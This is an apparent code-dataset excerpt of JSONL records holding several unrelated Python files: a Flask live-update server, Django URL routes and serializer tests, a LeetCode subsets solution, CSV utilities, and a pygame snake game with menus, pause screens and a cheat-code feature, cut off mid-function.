= Alphabet(\"uppercase\", standard_alphabet.members - lowercase_alphabet.members)\n\ngerman_umlauts = Alphabet(\"german_umlauts\", {\"ä\", \"Ä\", \"ö\", \"Ö\", \"ü\", \"Ü\", \"ß\"})\ngerman_alphabet = Alphabet(\"german\", standard_alphabet.members | german_umlauts.members)\ngerman_lowercase_alphabet = Alphabet(\"lowercase_german\", lowercase_alphabet.members | {\"ä\", \"ö\", \"ü\", \"ß\"})\ngerman_uppercase_alphabet = Alphabet(\"lowercase_german\", german_alphabet.members - german_lowercase_alphabet.members)\n\nnumbers = Alphabet(\"numbers\", {\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"})\npunctuation = Alphabet(\"punctuation\", {\".\", \"-\", \",\", \";\", \":\", \"\\\"\", \"\\'\", \"(\", \")\", \"/\"})\n","repo_name":"rangp/DTA","sub_path":"Alphabets.py","file_name":"Alphabets.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"pms","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10398068968","text":"from flask import Flask, render_template\nfrom turbo_flask import Turbo\nfrom .. import cache_manager\nimport sys, threading, time\n\nHOST = '0.0.0.0'\nPORT = 5000\n\n# Only log errors from Werkzeug\nimport logging\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\n\n# Suppress Flask start message\ncli = sys.modules['flask.cli']\ncli.show_server_banner = lambda *x: None\n\n# Create flask app\napp = Flask(__name__)\nturbo = Turbo(app)\n\n# Default route\n@app.route(\"/\")\ndef hello():\n topics = cache_manager.read_cache()\n return render_template('index.html', topics=topics)\n\n@app.context_processor\ndef inject_load():\n topics = cache_manager.read_cache()\n return topics\n\n@app.before_first_request\ndef before_first_request():\n threading.Thread(target=update_load).start()\n\ndef update_load():\n with app.app_context():\n while True:\n time.sleep(1)\n topics = cache_manager.read_cache()\n turbo.push(turbo.replace(render_template('topics.html', topics=topics),'topics'))\n\ndef run_server():\n print(\"\\u001b[33;1m\" + f\"Web server | Starting on port {PORT} \" + \"\\u001b[0m\")\n app.run(host=HOST, port=PORT)\n\nif __name__ == \"__main__\":\n run_server()","repo_name":"Adilius/CoAP-MQTT-pipeline-implementation","sub_path":"user_interface_program/front_end/flask_server.py","file_name":"flask_server.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23570183987","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom .views import index,galeria,formulario,MisionyVision,login,logout_v,insumos,admin_insumos,eliminar,buscar_insumo,modificar_insumo\n\nurlpatterns = [\n path('',index,name='INDEX'),\n path('galeria/',galeria,name='GALE'),\n path('formulario/',formulario,name='FORMU'),\n path('mision_y_vision/',MisionyVision,name='MYV'),\n path('login/',login,name='LOGIN'),\n path('logout_v',logout_v,name='LOGOUT'),\n path('insumos/',insumos,name='INSUMOS'),\n path('admin_insumos/',admin_insumos,name='ADMININSUMOS'),\n path('eliminar//',eliminar,name='ELIMINAR'),\n path('buscar//',buscar_insumo,name='BUSCAR'),\n path('modificar/',modificar_insumo,name='MODIFICAR'),\n]","repo_name":"frecampos/django_grupo2","sub_path":"myProyectoCarW/myCar/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24548797910","text":"class Solution:\n def subsets(self, nums: list[int]) -> list[list[int]]:\n result = [[]]\n stack = [[i] for i in range(len(nums) - 1, -1, -1)]\n while stack:\n idx_lst = stack.pop()\n result.append([nums[i] for i in idx_lst])\n for i in range(idx_lst[-1] + 1, len(nums)):\n stack.append(idx_lst + [i])\n return result\n\n\nif __name__ == '__main__':\n solution = Solution()\n print(solution.subsets([1, 2, 3]))\n","repo_name":"LimKwangyoung/python-algorithm-interview","sub_path":"Part 4/Chapter 12/문제 37/풀이 0.py","file_name":"풀이 0.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18513344269","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom apps.core.models import City, Person, State\nfrom apps.account.serializers.user_serializers import (\n CreatePersonSerializer,\n UpdatePersonSerializer,\n UserSerializer,\n)\n\n\nclass UserSerializerTestCase(TestCase):\n def set_persons(self):\n state = State.objects.create(name=\"Piaui\")\n city = City.objects.create(name=\"Teresina\", state=state)\n user = User.objects.create(\n username=\"person\", first_name=\"Person\", password=\"person\"\n )\n Person.objects.create(contact=\"12345678\", user=user, city=city)\n\n def setUp(self) -> None:\n self.set_persons()\n\n def test_user_serializer(self):\n person = Person.objects.get(pk=1)\n serializer = UserSerializer(person)\n self.assertEqual(\n str(serializer.data),\n \"{'id': 1, 'image': None, 'name': 'Person', 'username': 'person', 'contact': '12345678', 'latitude': '', 'longitude': '', 'is_moderator': False, 'city': OrderedDict([('id', 1), ('name', 'Teresina'), ('state', 'Piaui')])}\",\n )\n\n def test_should_be_city_error(self):\n user = User.objects.create(\n username=\"person3\", password=\"senha123\", first_name=\"person3\"\n )\n person_obj = {\n \"name\": \"Person2\",\n \"contact\": \"12345678\",\n \"city\": 10,\n \"user\": user.id,\n }\n create_serializer = CreatePersonSerializer(data=person_obj)\n self.assertEqual(create_serializer.is_valid(), False)\n print(create_serializer.errors)\n\n def test_create_person_serializer(self):\n user = User.objects.create(\n username=\"person2\", password=\"senha123\", first_name=\"person2\"\n )\n person_obj = {\"contact\": \"12345678\", \"city\": 1, \"user\": user.id}\n create_serializer = CreatePersonSerializer(data=person_obj)\n self.assertEqual(create_serializer.is_valid(), True)\n create_serializer.save()\n self.assertEqual(create_serializer.data[\"city\"], 1)\n\n def test_update_person_serializer(self):\n person = Person.objects.get(pk=1)\n person_obj = {\n \"contact\": \"12345678\",\n \"latitude\": \"321564159\",\n \"longitude\": \"648932159\",\n \"city\": 1,\n }\n update_serializer = UpdatePersonSerializer(person, data=person_obj)\n self.assertEqual(update_serializer.is_valid(), True)\n update_serializer.save()\n self.assertEqual(update_serializer.data[\"latitude\"], \"321564159\")\n self.assertEqual(update_serializer.data[\"longitude\"], \"648932159\")\n self.assertEqual(update_serializer.data[\"city\"], 1)\n","repo_name":"PedroHenriqueDevBR/adocao-animal-web","sub_path":"backend/animal_adoption/apps/account/tests/serializer_test.py","file_name":"serializer_test.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"27672501143","text":"#一、要想读取CSV文件,首先要导入csv代码库\n#发现csv不用下载,是Python内置的代码库\n#如果要读取Excel需要下载相应的代码库:xlrd\n#字母下载:1.通过命令下载:在dos窗口中输入pip install -U xlrd\n#pip是Python语言最常用的项目管理工具,和Java中的maven类似\n#2.点击file--点击settings--project下面的interpreter--点击+号\n#搜索需要的代码库,并可直接安装\n\n#二、指定要读取文件的路径\nimport csv\n\npath = 'C:/Users/51Testing/PycharmProjects/selenium7th/data/test_data.csv'\n#因为字符串中包含反斜线\\t等\n#1.每个反斜线前面加一个反斜线\n#2.把每个反斜线都改成正斜线/\n#print(path)\n#三、打开路径所对应的文件\nfile = open(path,'r')\n#四、读取文件的内容,通过什么读取\ndata_table = csv.reader(file)\n\n#五、打印data_table中的每一行数据,怎么办?循环for--each语句\nfor item in data_table:\n print(item)\n#很多的测试用例可能都需要从Excel中读取数据,所以我们应该对这些代码做一个封装,建一个文件叫csvFileManager2,把以上代码封装到一个方法中,并且\n","repo_name":"liuxing20180318/selenium7th","sub_path":"day4/csvFileManager.py","file_name":"csvFileManager.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43481259835","text":"\"\"\"\nSeaprate out the times in the CSV file\n\"\"\"\n\nimport csv\n\nwith open('yeet_out.csv', mode = 'w') as output:\n to_output = csv.writer(output, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n to_output.writerow(['sun_hours_start', 'sun_hours_end', 'mon_hours_start', 'mon_hours_end', 'tues_hours_start', 'tues_hours_end', 'wed_hours_start', 'wed_hours_end', 'thurs_hours_start', 'thurs_hours_end', 'fri_hours_start', 'fri_hours_end', 'sat_hours_start', 'sat_hours_end'])\n with open('yeet.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = False\n for row in csv_reader:\n nextRow = ['' for x in range(14)]\n if not headers:\n headers = True\n else:\n now = 0\n for day in row:\n if len(day) is 0:\n print('0')\n else:\n nextRow[now * 2] = row[now][0:5]\n nextRow[now * 2 + 1] = row[now][6:11]\n now = now + 1\n to_output.writerow(nextRow)\n","repo_name":"tudrme/database-io","sub_path":"separate-times.py","file_name":"separate-times.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4836340723","text":"import pygame \nimport random\nimport time\nimport os\nfrom pygame.constants import K_b, K_d, K_g, K_i, K_n, K_o\npygame.mixer.init()\npygame.mixer.pre_init()\npygame.init()\n\nscreen_width,screen_height = 800,400\ngameWindow = pygame.display.set_mode((screen_width,screen_height))\npygame.display.set_caption(\"RETRO SNAKE\")\npygame.display.update()\n\npurple = (128,0,128)\ncream = (255, 253, 208)\nwhite = (255,255,255)\nred = (255,0,0)\nneon_red = (255, 7, 58)\norange = (255, 165, 0)\ngreen = (0,255,0)\ndark_green = (0,100,0)\nneon_green = (57, 255, 20)\nyellow = (255,255,0)\nneon_yellow = (250,237,39)\nblue = (0,0,225)\ngrey = (130,130,130)\nblack = (0,0,0)\n\nbgimg = pygame.image.load(\"Game Data\\\\level.jpg\")\nbgimg = pygame.transform.scale(bgimg, (800, 400)).convert_alpha()\nmenu = pygame.image.load(\"Game Data\\\\menu.png\")\nmenu = pygame.transform.scale(menu, (800, 400)).convert_alpha()\npause_scr = pygame.image.load(\"Game Data\\\\pause.png\")\npause_scr = pygame.transform.scale(pause_scr, (800, 310))\nend = pygame.image.load(\"Game Data\\\\end.png\")\nend = pygame.transform.scale(end, (800, 400)).convert_alpha()\nhtp = pygame.image.load(\"Game Data\\\\htp.png\")\nhtp = pygame.transform.scale(htp, (800, 400)).convert_alpha()\nabout = pygame.image.load(\"Game Data\\\\about.png\")\nabout = pygame.transform.scale(about, (800, 400)).convert_alpha()\ncontrols = pygame.image.load(\"Game Data\\\\controls.png\")\ncontrols = pygame.transform.scale(controls, (800, 400)).convert_alpha()\nquitt = pygame.image.load(\"Game Data\\\\quit.png\")\nquitt = pygame.transform.scale(quitt, (800, 400)).convert_alpha()\ngobackmm = pygame.image.load(\"Game Data\\\\goback.png\")\ngobackmm = pygame.transform.scale(gobackmm, (800, 400)).convert_alpha()\nability_i = pygame.image.load(\"Game Data\\\\meter_i.png\")\nability_i = pygame.transform.scale(ability_i, (185, 35)).convert_alpha()\nability_s = pygame.image.load(\"Game Data\\\\meter_s.png\")\nability_s = pygame.transform.scale(ability_s, (185, 55)).convert_alpha()\n\npygame.mixer.init(frequency = 44100, size = -16, channels = 1, buffer = 2**12)\nchannel1 = pygame.mixer.Channel(0)\nchannel2 = pygame.mixer.Channel(1)\nchannel3 = pygame.mixer.Channel(2)\nsound1 = pygame.mixer.Sound('Game Data\\\\food.mp3')\nsound2 = pygame.mixer.Sound('Game Data\\\\gameover.mp3')\nsound2.set_volume(0.3)\nsound3 = pygame.mixer.Sound('Game Data\\\\power.mp3')\n\nfont = pygame.font.SysFont(None, 55)\nfont2 = pygame.font.SysFont(None, 40)\nclock = pygame.time.Clock()\n\nhome_y = True\npower_timer = True\nplay_m = True\nmusic_n = False\nsfx_n = False\n\ndef text_screen(text, color, x, y):\n screen_text = font.render(text, True, color)\n gameWindow.blit(screen_text, [x,y])\n\ndef text_screen2(text, color, x, y):\n screen_text = font2.render(text, True, color)\n gameWindow.blit(screen_text, [x,y])\n\ndef plot_snake(gameWindow,color,snake_lst,snake_size_x,snake_size_y):\n for x,y in snake_lst:\n pygame.draw.rect(gameWindow,color,[x,y,snake_size_x,snake_size_y])\n\ndef close():\n click = False\n global g_exit\n g_exit = False\n r = True\n while r == True and g_exit == False:\n gameWindow.fill(white)\n gameWindow.blit(quitt, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_y = pygame.image.load(\"Game Data\\\\button_y.png\")\n button_y = pygame.transform.scale(button_y, (240, 60)).convert_alpha()\n button_y = gameWindow.blit(button_y, (280, 180))\n button_n = pygame.image.load(\"Game Data\\\\button_n.png\")\n button_n = pygame.transform.scale(button_n, (240, 60)).convert_alpha()\n button_n = gameWindow.blit(button_n, (280, 260))\n if button_y.collidepoint((mx, my)):\n if click:\n g_exit = True\n click = False\n if button_n.collidepoint((mx, my)):\n if click:\n r = False\n click = False \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n r = False\n if event.key == pygame.K_RETURN:\n g_exit = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pygame.display.update()\n clock.tick(60)\n\ndef backtomm():\n click = False\n global g_exit\n g_exit = False\n r5 = True\n while r5 == True and g_exit == False:\n gameWindow.fill(white)\n gameWindow.blit(gobackmm, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_y = pygame.image.load(\"Game Data\\\\button_y.png\")\n button_y = pygame.transform.scale(button_y, (240, 60)).convert_alpha()\n button_y = gameWindow.blit(button_y, (280, 180))\n button_n = pygame.image.load(\"Game Data\\\\button_n.png\")\n button_n = pygame.transform.scale(button_n, (240, 60)).convert_alpha()\n button_n = gameWindow.blit(button_n, (280, 260))\n if button_y.collidepoint((mx, my)):\n if click:\n welcome()\n click = False\n if button_n.collidepoint((mx, my)):\n if click:\n r5 = False\n click = False \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n r5 = False\n if event.key == pygame.K_RETURN:\n welcome()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pygame.display.update()\n clock.tick(60)\n\ndef pause_scrn():\n global diff\n global start_time\n global music_n\n global play_m\n global power_timer\n global sfx_n \n click = False\n pause_m = True\n global g_exit\n g_exit = False\n r4 = True\n while r4 == True and g_exit == False:\n gameWindow.blit(pause_scr, (0, 60))\n mx, my = pygame.mouse.get_pos()\n if music_n == False:\n music_y = pygame.image.load(\"Game Data\\\\music_y.png\")\n music_y = pygame.transform.scale(music_y, (240, 40)).convert_alpha()\n music_y = gameWindow.blit(music_y, (155, 170))\n elif music_n == True:\n music_y = pygame.image.load(\"Game Data\\\\music_n.png\")\n music_y = pygame.transform.scale(music_y, (240, 40)).convert_alpha()\n music_y = gameWindow.blit(music_y, (155, 170))\n if sfx_n == False:\n sfx_y = pygame.image.load(\"Game Data\\\\sfx_y.png\")\n sfx_y = pygame.transform.scale(sfx_y, (240, 40)).convert_alpha()\n sfx_y = gameWindow.blit(sfx_y, (405, 170))\n else:\n sfx_y = pygame.image.load(\"Game Data\\\\sfx_n.png\")\n sfx_y = pygame.transform.scale(sfx_y, (240, 40)).convert_alpha()\n sfx_y = gameWindow.blit(sfx_y, (405, 170))\n \n p_cntrls = pygame.image.load(\"Game Data\\\\p_cntrls.png\")\n p_cntrls = pygame.transform.scale(p_cntrls, (240, 30)).convert_alpha()\n p_cntrls = gameWindow.blit(p_cntrls, (280, 220))\n p_htp = pygame.image.load(\"Game Data\\\\p_htp.png\")\n p_htp = pygame.transform.scale(p_htp, (240, 30)).convert_alpha()\n p_htp = gameWindow.blit(p_htp, (280, 260))\n p_restart = pygame.image.load(\"Game Data\\\\p_restart.png\")\n p_restart = pygame.transform.scale(p_restart, (240, 30)).convert_alpha()\n p_restart = gameWindow.blit(p_restart, (530, 220))\n p_quit = pygame.image.load(\"Game Data\\\\p_quit.png\")\n p_quit = pygame.transform.scale(p_quit, (240, 30)).convert_alpha()\n p_quit = gameWindow.blit(p_quit, (530, 260))\n p_resume = pygame.image.load(\"Game Data\\\\p_resume.png\")\n p_resume = pygame.transform.scale(p_resume, (240, 30)).convert_alpha()\n p_resume = gameWindow.blit(p_resume, (30, 220))\n quit_tmm = pygame.image.load(\"Game Data\\\\quit_tmm.png\")\n quit_tmm = pygame.transform.scale(quit_tmm, (240, 30)).convert_alpha()\n quit_tmm = gameWindow.blit(quit_tmm, (30, 260))\n\n if p_cntrls.collidepoint((mx, my)):\n if click:\n cntrls() \n click = False\n if p_htp.collidepoint((mx, my)):\n if click:\n howtoplay() \n click = False \n if p_quit.collidepoint((mx, my)):\n if click:\n close()\n click = False\n if p_resume.collidepoint((mx, my)):\n if click:\n r4 = False\n click = False\n if p_restart.collidepoint((mx, my)):\n if click:\n gameloop()\n click = False\n if quit_tmm.collidepoint((mx, my)):\n if click:\n backtomm()\n click = False \n if music_y.collidepoint((mx, my)) == True and play_m == True:\n if click:\n pygame.mixer.music.pause()\n music_n = True\n play_m = False\n click = False\n elif music_y.collidepoint((mx, my)) == True and play_m == False:\n if click:\n pygame.mixer.music.unpause()\n music_n = False\n play_m = True\n click = False\n if sfx_y.collidepoint((mx, my)) and pause_m == True:\n if click:\n sound1.set_volume(0.0)\n sound2.set_volume(0.0)\n sound3.set_volume(0.0)\n sfx_n = True \n pause_m = False\n click = False\n elif sfx_y.collidepoint((mx, my)) and pause_m == False:\n if click:\n sound1.set_volume(1.0)\n sound2.set_volume(0.3)\n sound3.set_volume(1.0)\n sfx_n = False \n pause_m = True\n click = False\n \n for event in pygame.event.get():\n keypressed = pygame.key.get_pressed()\n if keypressed[pygame.K_p] or keypressed[pygame.K_BACKSPACE] or keypressed[pygame.K_RETURN]:\n power_timer = True\n faltutime = time.time()\n start_time = float(faltutime) - diff\n r4 = False\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_c:\n cntrls()\n if event.key == pygame.K_h:\n howtoplay()\n if event.key == pygame.K_i:\n aboutus()\n if event.key == pygame.K_q:\n close()\n if event.key == pygame.K_ESCAPE:\n backtomm()\n if play_m == True: \n if event.key == pygame.K_m:\n pygame.mixer.music.pause()\n play_m = False\n music_n = True\n elif play_m == False:\n if event.key == pygame.K_m:\n pygame.mixer.music.unpause()\n play_m = True \n music_n = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pygame.display.update()\n clock.tick(60)\n\ndef howtoplay():\n global home_y\n click = False\n global g_exit\n g_exit = False\n r2 = True \n while r2 == True and g_exit == False:\n gameWindow.fill(white)\n gameWindow.blit(htp, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_h = pygame.image.load(\"Game Data\\\\button_h.png\")\n button_h = pygame.transform.scale(button_h, (30, 30)).convert_alpha()\n button_h = gameWindow.blit(button_h, (680, 350))\n button_c = pygame.image.load(\"Game Data\\\\button_c.png\")\n button_c = pygame.transform.scale(button_c, (30, 30)).convert_alpha()\n button_c = gameWindow.blit(button_c, (720, 350))\n button_c2 = pygame.image.load(\"Game Data\\\\button_c.png\")\n button_c2 = pygame.transform.scale(button_c2, (25, 20)).convert_alpha()\n button_c2 = gameWindow.blit(button_c2, (185, 310))\n button_i = pygame.image.load(\"Game Data\\\\button_i.png\")\n button_i = pygame.transform.scale(button_i, (30, 30)).convert_alpha()\n button_i = gameWindow.blit(button_i, (760, 350))\n if home_y == True:\n if button_h.collidepoint((mx, my)):\n if click:\n welcome()\n click = False\n elif home_y == False:\n if button_h.collidepoint((mx, my)):\n if click:\n backtomm()\n click = False\n if button_c.collidepoint((mx, my)):\n if click:\n cntrls()\n click = False\n if button_c2.collidepoint((mx, my)):\n if click:\n cntrls()\n click = False\n if button_i.collidepoint((mx, my)):\n if click:\n aboutus()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n r2 = False\n if event.key == pygame.K_ESCAPE:\n backtomm() \n if event.key == pygame.K_c:\n cntrls()\n if event.key == pygame.K_q:\n close()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True \n pygame.display.update()\n clock.tick(60)\n\ndef aboutus():\n global home_y\n click = False\n global g_exit\n g_exit = False\n r3 = True \n while r3 == True and g_exit == False:\n gameWindow.fill(white)\n gameWindow.blit(about, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_h = pygame.image.load(\"Game Data\\\\button_h.png\")\n button_h = pygame.transform.scale(button_h, (30, 30)).convert_alpha()\n button_h = gameWindow.blit(button_h, (680, 350))\n button_c = pygame.image.load(\"Game Data\\\\button_c.png\")\n button_c = pygame.transform.scale(button_c, (30, 30)).convert_alpha()\n button_c = gameWindow.blit(button_c, (720, 350))\n button_qmark = pygame.image.load(\"Game Data\\\\button_qmark.png\")\n button_qmark = pygame.transform.scale(button_qmark, (30, 30)).convert_alpha()\n button_qmark = gameWindow.blit(button_qmark, (760, 350))\n if home_y == True:\n if button_h.collidepoint((mx, my)):\n if click:\n welcome()\n click = False\n elif home_y == False:\n if button_h.collidepoint((mx, my)):\n if click:\n backtomm()\n click = False\n if button_c.collidepoint((mx, my)):\n if click:\n cntrls()\n click = False\n if button_qmark.collidepoint((mx, my)):\n if click:\n howtoplay()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n r3 = False \n if event.key == pygame.K_q:\n close()\n if event.key == pygame.K_ESCAPE:\n backtomm() \n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True \n pygame.display.update()\n clock.tick(60)\n\ndef cntrls():\n global home_y\n click = False\n global g_exit\n g_exit = False\n run = True \n while run == True and g_exit == False:\n gameWindow.fill(white)\n gameWindow.blit(controls, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_h = pygame.image.load(\"Game Data\\\\button_h.png\")\n button_h = pygame.transform.scale(button_h, (30, 30)).convert_alpha()\n button_h = gameWindow.blit(button_h, (680, 350))\n button_i = pygame.image.load(\"Game Data\\\\button_i.png\")\n button_i = pygame.transform.scale(button_i, (30, 30)).convert_alpha()\n button_i = gameWindow.blit(button_i, (760, 350))\n button_qmark = pygame.image.load(\"Game Data\\\\button_qmark.png\")\n button_qmark = pygame.transform.scale(button_qmark, (30, 30)).convert_alpha()\n button_qmark = gameWindow.blit(button_qmark, (720, 350))\n if home_y == True:\n if button_h.collidepoint((mx, my)):\n if click:\n welcome()\n click = False\n elif home_y == False:\n if button_h.collidepoint((mx, my)):\n if click:\n backtomm()\n click = False\n if button_i.collidepoint((mx, my)):\n if click:\n aboutus()\n click = False\n if button_qmark.collidepoint((mx, my)):\n if click:\n howtoplay()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n run = False \n if event.key == pygame.K_q:\n close() \n if event.key == pygame.K_h:\n howtoplay()\n if event.key == pygame.K_ESCAPE:\n backtomm()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True \n pygame.display.update()\n clock.tick(60)\n \ndef welcome():\n click = False\n pygame.mixer.music.load('Game Data\\\\menu.mp3')\n pygame.mixer.music.set_volume(0.25)\n pygame.mixer.music.play(-1)\n global g_exit\n g_exit = False\n while not g_exit:\n gameWindow.fill(white)\n gameWindow.blit(menu, (0, 0))\n mx, my = pygame.mouse.get_pos()\n button_1 = pygame.image.load(\"Game Data\\\\button1.png\")\n button_1 = pygame.transform.scale(button_1, (180, 40)).convert_alpha()\n button_1 = gameWindow.blit(button_1, (320, 150))\n button_2 = pygame.image.load(\"Game Data\\\\button2.png\")\n button_2 = pygame.transform.scale(button_2, (180, 40)).convert_alpha()\n button_2 = gameWindow.blit(button_2, (320, 200))\n button_3 = pygame.image.load(\"Game Data\\\\button3.png\")\n button_3 = pygame.transform.scale(button_3, (180, 40)).convert_alpha()\n button_3 = gameWindow.blit(button_3, (320, 250))\n button_c = pygame.image.load(\"Game Data\\\\button_c.png\")\n button_c = pygame.transform.scale(button_c, (30, 30)).convert_alpha()\n button_c = gameWindow.blit(button_c, (680, 350))\n button_i = pygame.image.load(\"Game Data\\\\button_i.png\")\n button_i = pygame.transform.scale(button_i, (30, 30)).convert_alpha()\n button_i = gameWindow.blit(button_i, (760, 350))\n button_qmark = pygame.image.load(\"Game Data\\\\button_qmark.png\")\n button_qmark = pygame.transform.scale(button_qmark, (30, 30)).convert_alpha()\n button_qmark = gameWindow.blit(button_qmark, (720, 350))\n if button_1.collidepoint((mx, my)):\n if click:\n gameloop()\n click = False\n if button_2.collidepoint((mx, my)):\n if click:\n howtoplay()\n click = False\n if button_3.collidepoint((mx, my)):\n if click:\n close()\n click = False\n if button_c.collidepoint((mx, my)):\n if click:\n cntrls()\n click = False\n if button_i.collidepoint((mx, my)):\n if click:\n aboutus()\n click = False\n if button_qmark.collidepoint((mx, my)):\n if click:\n howtoplay()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n gameloop()\n if event.key == pygame.K_h:\n howtoplay()\n if event.key == pygame.K_c:\n cntrls()\n if event.key == pygame.K_q:\n close()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True \n pygame.display.update()\n clock.tick(60)\n\ncount_e = 0 \ndef gameloop():\n global power_timer \n global music_n \n global g_exit \n global play_m\n global start_time\n global diff\n global home_y\n home_y = False\n berry_choose = True\n prob_poison = ['poison_berry', 'No berry', 'No berry', 'No berry', 'No berry']\n poison_berry = 'No berry'\n power_act = None\n pygame.mixer.music.load(\"Game Data\\\\theme.mp3\")\n pygame.mixer.music.set_volume(0.25)\n pygame.mixer.music.play(-1) \n key3 = []\n l3_keys = []\n cheat_1 = [K_g,K_o,K_d]\n de_cheat_1 = []\n key32 = []\n l32_keys = []\n cheat_2 = [K_b,K_i,K_n,K_g,K_o]\n de_cheat_2 = [] \n if(not os.path.exists(\"Game Data\\\\highscore.txt\")):\n with open(\"Game Data\\\\highscore.txt\",\"w\") as f:\n f.write(\"0\")\n f = open(\"Game Data\\\\highscore.txt\",\"r\")\n highscore = f.read() \n f.close() \n g_exit = False\n game_over = False\n snake_x = 100\n snake_y = 100\n snake_size_x = 10\n snake_size_y = 10\n food_x = random.randint(10,790)\n food_y = random.randint(40,390)\n power_x = random.randint(10,790)\n power_y = random.randint(40,390)\n power_count = 0\n food_size_x = 10\n food_size_y = 10\n vel_x = 0\n vel_y = 0\n initial_vel = 5\n fps = 30\n score = 0\n clock = pygame.time.Clock()\n snake_lst = []\n snake_len = 1\n start_time = 0\n powers = [\"Invincibility\",\"Slow-mo\"]\n if play_m == False and music_n == True:\n pygame.mixer.music.pause()\n \n while not g_exit:\n global count_e\n count_e = time.time()\n if game_over:\n t_limit = float(count_e) - float(count_s)\n t_limit = int(t_limit)\n if t_limit == 10:\n welcome()\n countdown_begin = time.time()\n with open(\"Game Data\\\\highscore.txt\", \"w\" ) as f:\n f.write(str(highscore))\n gameWindow.fill(white)\n gameWindow.blit(end, (0, 0))\n text_screen(str(10 - t_limit), black, 380, 150)\n text_screen(str(score), orange, 480, 220)\n text_screen(str(highscore), orange, 480, 250)\n if score == 0:\n text_screen(\"Better Luck Next Time\", orange, 200, 350)\n elif score >= int(highscore): \n text_screen(\"Congrats! NEW HIGH SCORE!!!\", orange, 120, 350) \n elif score >= 10000:\n text_screen(\"Impressive\", orange, 280, 350)\n elif score >= 100000:\n text_screen(\"You sure you didn't cheat?\", orange, 120, 350)\n else:\n text_screen(\"GG\", orange, 380, 350)\n for event in pygame.event.get():\n if event.type == pygame.QUIT :\n g_exit = True\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n gameloop() \n if event.key == pygame.K_ESCAPE:\n backtomm()\n else:\n keypress = pygame.key.get_pressed() \n if keypress[pygame.K_RIGHT] or keypress[pygame.K_d]:\n vel_x = initial_vel\n vel_y = 0\n if keypress[pygame.K_LEFT] or keypress[pygame.K_a]:\n vel_x = -initial_vel\n vel_y = 0\n if keypress[pygame.K_UP] or keypress[pygame.K_w]:\n vel_y = -initial_vel\n vel_x = 0\n if keypress[pygame.K_DOWN] or keypress[pygame.K_s]:\n vel_y = initial_vel\n vel_x = 0\n for event in pygame.event.get():\n if event.type == pygame.QUIT :\n g_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n backtomm()\n if event.key == pygame.K_m:\n if play_m == True:\n pygame.mixer.music.pause()\n play_m = False\n music_n = True\n elif play_m == False:\n pygame.mixer.music.unpause()\n play_m = True\n music_n = False \n if event.key == pygame.K_p:\n power_timer = False\n pause_scrn()\n \n # Cheat\n if l3_keys == cheat_1:\n de_cheat_1.append(event.key) \n if len(de_cheat_1) > 3:\n del de_cheat_1[0] \n if de_cheat_1 == cheat_1:\n l3_keys.append(event.key)\n if len(l3_keys) > 3:\n del l3_keys[0]\n if l3_keys != cheat_1 :\n l3_keys.append(event.key)\n if len(l3_keys) > 3:\n del l3_keys[0]\n key3.append(event.key)\n if len(key3)>3:\n del key3[0]\n \n if l32_keys == cheat_2:\n de_cheat_2.append(event.key) \n if len(de_cheat_2) > 5:\n del de_cheat_2[0] \n if de_cheat_2 == cheat_2:\n l32_keys.append(event.key)\n if len(l32_keys) > 3:\n del l32_keys[0]\n if 